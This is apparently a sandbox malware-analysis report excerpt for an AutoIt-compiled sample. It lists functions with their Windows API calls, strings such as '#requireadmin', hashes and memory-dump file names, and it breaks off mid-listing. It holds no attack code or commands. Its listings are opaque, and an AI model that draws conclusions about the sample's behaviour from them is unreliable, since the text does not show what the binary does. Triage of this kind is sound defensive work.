Part of subcall function 0075335B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,00753077,?,?), ref: 00753378

inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0075307A
_wcslen.LIBCMT ref: 0075309B
htons.WSOCK32(00000000,?,?,00000000), ref: 00753106

Strings

255.255.255.255, xrefs: 00753095, 0075309A

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ByteCharMultiWide_wcslenhtonsinet_addr
String ID: 255.255.255.255
API String ID: 946324512-2422070025
Opcode ID: cfd413a5f80bfbf8e6e48fe0957819c9fc4c5206f30d1741d1fc8c6a4cbcaa3b
Instruction ID: 8bae0f3703246e86e44192611dcd425c063d6304dd19da8dd8a0a0903365b90a
Opcode Fuzzy Hash: cfd413a5f80bfbf8e6e48fe0957819c9fc4c5206f30d1741d1fc8c6a4cbcaa3b
Instruction Fuzzy Hash: 5231D2356007099FCB20CF28C485EAA77E1EF14395F248059EC198B3A2DBBADE49C760

Function 00764653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00764705
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00764713
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 0076471A

Strings

msctls_updown32, xrefs: 00764684

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: d10cfbd617b68d94fc6a4d53ba685a82c9c26ccafe010753bbbc337ba23c418a
Instruction ID: 40424fa5bee75a807e35ada9b944006c78102cbdb22b627ac0217f90d27794e9
Opcode Fuzzy Hash: d10cfbd617b68d94fc6a4d53ba685a82c9c26ccafe010753bbbc337ba23c418a
Instruction Fuzzy Hash: 35216DB5600209AFEB11DF68DCD1DB737ADEF9A3A4B044059FA019B3A1CB74EC51CA64

Function 007395AD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0073961D

Strings

#notrayicon, xrefs: 007395B7
#requireadmin, xrefs: 007395D9
#OnAutoItStartRegister, xrefs: 007395F3

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _wcslen
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 176396367-2734436370
Opcode ID: 458baf49792f4e40c3bb1b0b3af463a518df9fbc4286d66df2102fe7904b3fdb
Instruction ID: bacd86d3e858ff6217c0d82db2bb9a88c992e1bca43e5efbfd00c3a4e5fc0e14
Opcode Fuzzy Hash: 458baf49792f4e40c3bb1b0b3af463a518df9fbc4286d66df2102fe7904b3fdb
Instruction Fuzzy Hash: 1A215BB2205610A6E331AB249C03FB773D99F51300F50402AFB4A97183FBD9AD95C2E9

Function 007637B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00763840
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00763850
MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00763876

Strings

Listbox, xrefs: 0076380F

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: b004571a43074dd32b4e269973127eea57797e16da87a1466730505667b9d28c
Instruction ID: fe75e9871b3483d1eb68118384b131939731943502bf08d5ebff0116ac817b3f
Opcode Fuzzy Hash: b004571a43074dd32b4e269973127eea57797e16da87a1466730505667b9d28c
Instruction Fuzzy Hash: 2421BE72610219BBEF218F54DC85EBB376AEF89760F108124F9069B190C6B9DC52CBA0

Function 007449F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00744A08
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00744A5C
SetErrorMode.KERNEL32(00000000,?,?,0076CC08), ref: 00744AD0

Strings

%lu, xrefs: 00744A6F

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: 88736f01990f067338aa17dcad6507fa95d52dec8dbb1bdd453ad98407896521
Instruction ID: 1d7f42c9a69ce4f66b0bef81adf5ff38ef5defd6926affee26270bb8a5724b4b
Opcode Fuzzy Hash: 88736f01990f067338aa17dcad6507fa95d52dec8dbb1bdd453ad98407896521
Instruction Fuzzy Hash: 80318571A00208AFDB51DF54C885EAA77F9EF05304F148099F905DB352DB75ED45CB61

Function 007641EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 0076424F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00764264
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00764271

Strings

msctls_trackbar32, xrefs: 00764226

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 9fe7f0ae9ccfb68a6981fc619dc13063b80447185b742a9ec04703c2eb000e94
Instruction ID: 7bbe609f8ab5cf53e598c2bb5e16c284671f850ee0946b5a394f54dbaeea9766
Opcode Fuzzy Hash: 9fe7f0ae9ccfb68a6981fc619dc13063b80447185b742a9ec04703c2eb000e94
Instruction Fuzzy Hash: 1F110631240208BEEF205F29CC46FAB3BACFF85B64F110114FE56E2090D2B5DC519B14

Function 00732F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006D6B57: _wcslen.LIBCMT ref: 006D6B6A

Part of subcall function 00732DA7: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00732DC5
Part of subcall function 00732DA7: GetWindowThreadProcessId.USER32(?,00000000), ref: 00732DD6
Part of subcall function 00732DA7: GetCurrentThreadId.KERNEL32 ref: 00732DDD
Part of subcall function 00732DA7: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00732DE4

GetFocus.USER32 ref: 00732F78

Part of subcall function 00732DEE: GetParent.USER32(00000000), ref: 00732DF9

GetClassNameW.USER32(?,?,00000100), ref: 00732FC3
EnumChildWindows.USER32(?,0073303B), ref: 00732FEB

Strings

%s%d, xrefs: 00732FFF

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: e0d4445714e65765eae1686e579efbb935125b4d1a08040e2304c7c25f187dfe
Instruction ID: 887d09f186c8bce824e969f4d3c776e8500d7e885fe8050e7939366c038ca45e
Opcode Fuzzy Hash: e0d4445714e65765eae1686e579efbb935125b4d1a08040e2304c7c25f187dfe
Instruction Fuzzy Hash: AD11A271700205ABEF557F60CC89EFD376AAF84304F04807AF9099B253DE7999468B74

Function 00765882 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 007658C1
SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 007658EE
DrawMenuBar.USER32(?), ref: 007658FD

Strings

0, xrefs: 0076588F

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: ffad0def0f13d2263da7d31a44227255df1a1bd573a65feed165e8317ed7d498
Instruction ID: bb8d798c7b42eb1189047f17ec5f305e0f0b15b759f413a5ea120edbeda8dd64
Opcode Fuzzy Hash: ffad0def0f13d2263da7d31a44227255df1a1bd573a65feed165e8317ed7d498
Instruction Fuzzy Hash: 02018B31500348EFDB219F11DC44BAEBBB5FB45360F108099E88AD6151DB74AA94EF24

Function 0073007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8253753b864a3daf44eb555188ef87f633ac7682bed257e6c910e5f3f7479465
Instruction ID: cdca53d831ec80b7a9a20f072e284b40d4f6bed1f333797430e0f4dfafa3a108
Opcode Fuzzy Hash: 8253753b864a3daf44eb555188ef87f633ac7682bed257e6c910e5f3f7479465
Instruction Fuzzy Hash: 93C17C75A0020AEFEB14CFA4C8A8EAEB7B5FF48714F108598E505EB252D735ED41DB90

Function 0075342E Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00753459
CoUninitialize.OLE32 ref: 00753463
VariantInit.OLEAUT32(?), ref: 0075346E
VariantClear.OLEAUT32(?), ref: 0075371B

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Variant$ClearInitInitializeUninitialize
String ID:
API String ID: 1998397398-0
Opcode ID: 3c797e3134306c09a8fe332146ff964e4a4719a0df5244d677baa0b12027594a
Instruction ID: ab110ab4ba726a20137004dbefb56dde8aaae6da419b3913df00796c443cd1d3
Opcode Fuzzy Hash: 3c797e3134306c09a8fe332146ff964e4a4719a0df5244d677baa0b12027594a
Instruction Fuzzy Hash: 32A156756042009FC700DF28C485A6AB7E6EF88351F04895DFD8A9B362EB74EE05CB96

Function 00730436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,0076FC08,?), ref: 007305F0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,0076FC08,?), ref: 00730608
CLSIDFromProgID.OLE32(?,?,00000000,0076CC40,000000FF,?,00000000,00000800,00000000,?,0076FC08,?), ref: 0073062D
_memcmp.LIBVCRUNTIME ref: 0073064E

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 51b789e23a84144422b5f9bab7c606f772b1a5cbeae1182c56737177ce12baba
Instruction ID: 14643ad8cec9f014846410a42d0494bb1c4970297969af7c41aacff3403e02b6
Opcode Fuzzy Hash: 51b789e23a84144422b5f9bab7c606f772b1a5cbeae1182c56737177ce12baba
Instruction Fuzzy Hash: 7B815C71A00109EFDB04DF94C994EEEB7B9FF89315F204198F506AB251DB75AE06CBA0

Function 00711391 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 007114C0

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: ac7449862de37793cccf28df96c29ee6b0aad95c3aecc1afc115ba5fd4e0f20b
Instruction ID: 9ded31d98f96b9f742e07b3129599e4eab34caeb44a677261bc3a00c9c359610
Opcode Fuzzy Hash: ac7449862de37793cccf28df96c29ee6b0aad95c3aecc1afc115ba5fd4e0f20b
Instruction Fuzzy Hash: 56415C31600144EBDB216BFC8C4AAFE3AE6EF41770F544225FF19DA1D2E63C89819762

Function 00766278 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(0174EBD0,?), ref: 007662E2
ScreenToClient.USER32(?,?), ref: 00766315
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00766382

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: f6bf5943e4a54002916e905dc0ee04c00ab54ede5f30f7929b8415f10dcb7526
Instruction ID: 64facde40cee0d18254da372a64f90f244da86788e41b0d8d4ce4715fa12eab9
Opcode Fuzzy Hash: f6bf5943e4a54002916e905dc0ee04c00ab54ede5f30f7929b8415f10dcb7526
Instruction Fuzzy Hash: 6D513A74A00249EFDF10DF69D8809AE7BB6FF85360F50815AF9169B290D734ED81CB50

Function 00751AD6 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00751AFD
WSAGetLastError.WSOCK32 ref: 00751B0B
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00751B8A
WSAGetLastError.WSOCK32 ref: 00751B94

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: ad3b0f5c909d3c1e1f100733a746601fd1c737184abaafb267c9ac0fdb7eec95
Instruction ID: 974422cc96980774a948dfe48d44aac70c5fddf3f9d891e5f38b70e175fb0813
Opcode Fuzzy Hash: ad3b0f5c909d3c1e1f100733a746601fd1c737184abaafb267c9ac0fdb7eec95
Instruction Fuzzy Hash: 8A41B074600300AFE720AF24C886F6977E6AB44719F94844CF95A9F3D2D7B6DD41CB94

Function 0070B41F Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a75bd3f182b5957677229351e99e0d151c9eae01ddabc56e3d296ac9727fda2b
Instruction ID: 17a4a0bf45e9cb12e9dbdb3e74fc3dfbb8614981e19d07e14129025cefb7a297
Opcode Fuzzy Hash: a75bd3f182b5957677229351e99e0d151c9eae01ddabc56e3d296ac9727fda2b
Instruction Fuzzy Hash: 3241E672A00344EFD7249F78CC45BAABBE9EF88710F10466AF145DB2C2D779AB418780

Function 007456D9 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00745783
GetLastError.KERNEL32(?,00000000), ref: 007457A9
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 007457CE
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 007457FA

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: e4db08bf0b2bc42a7938af6c4ff62fc4d237c67751838d6469f675acbbfd2f1d
Instruction ID: 19d179772c79151587568ab2db40ac119efc8d2c874f9c7610a2558297df6b0c
Opcode Fuzzy Hash: e4db08bf0b2bc42a7938af6c4ff62fc4d237c67751838d6469f675acbbfd2f1d
Instruction Fuzzy Hash: 1F413B39600611DFCB11EF15C444A5EBBE2EF89720B19C489EC4AAB362DB34FD00CB96

Function 0070D8C3 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,006F6D71,00000000,00000000,006F82D9,?,006F82D9,?,00000001,006F6D71,?,00000001,006F82D9,006F82D9), ref: 0070D910
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0070D999
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 0070D9AB
__freea.LIBCMT ref: 0070D9B4

Part of subcall function 00703820: RtlAllocateHeap.NTDLL(00000000,?,007A1444,?,006EFDF5,?,?,006DA976,00000010,007A1440,006D13FC,?,006D13C6,?,006D1129), ref: 00703852

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: b476851f3a4df5968cb5d86068522fa21d12f590d995bad01b374c44a84a9b51
Instruction ID: c1b40e17bcf029e3c4a033e22c42b00e08f0d2232240b6c3c6f0f950d9e275fc
Opcode Fuzzy Hash: b476851f3a4df5968cb5d86068522fa21d12f590d995bad01b374c44a84a9b51
Instruction Fuzzy Hash: 9931AB72A1020AEBDF25DFA5DC45EAE7BE5EB41310B054268FC05D6291EB39ED50CBA0

Function 007652C1 Relevance: 6.1, APIs: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001024,00000000,?), ref: 00765352
GetWindowLongW.USER32(?,000000F0), ref: 00765375
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00765382
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 007653A8

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: c830634590ab639b2e6a12a51eafe71ae96d4850040d1802024a1102fca038ce
Instruction ID: 74a88d587b45ce700f330a99fcbc8322841d25d23700ca04147ccd12ebafb0dd
Opcode Fuzzy Hash: c830634590ab639b2e6a12a51eafe71ae96d4850040d1802024a1102fca038ce
Instruction Fuzzy Hash: ED31D234A55A08EFEB309E16CC05BE93761AB05B98F584102FE13963E1C7BC9D40FB45

Function 0073AB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

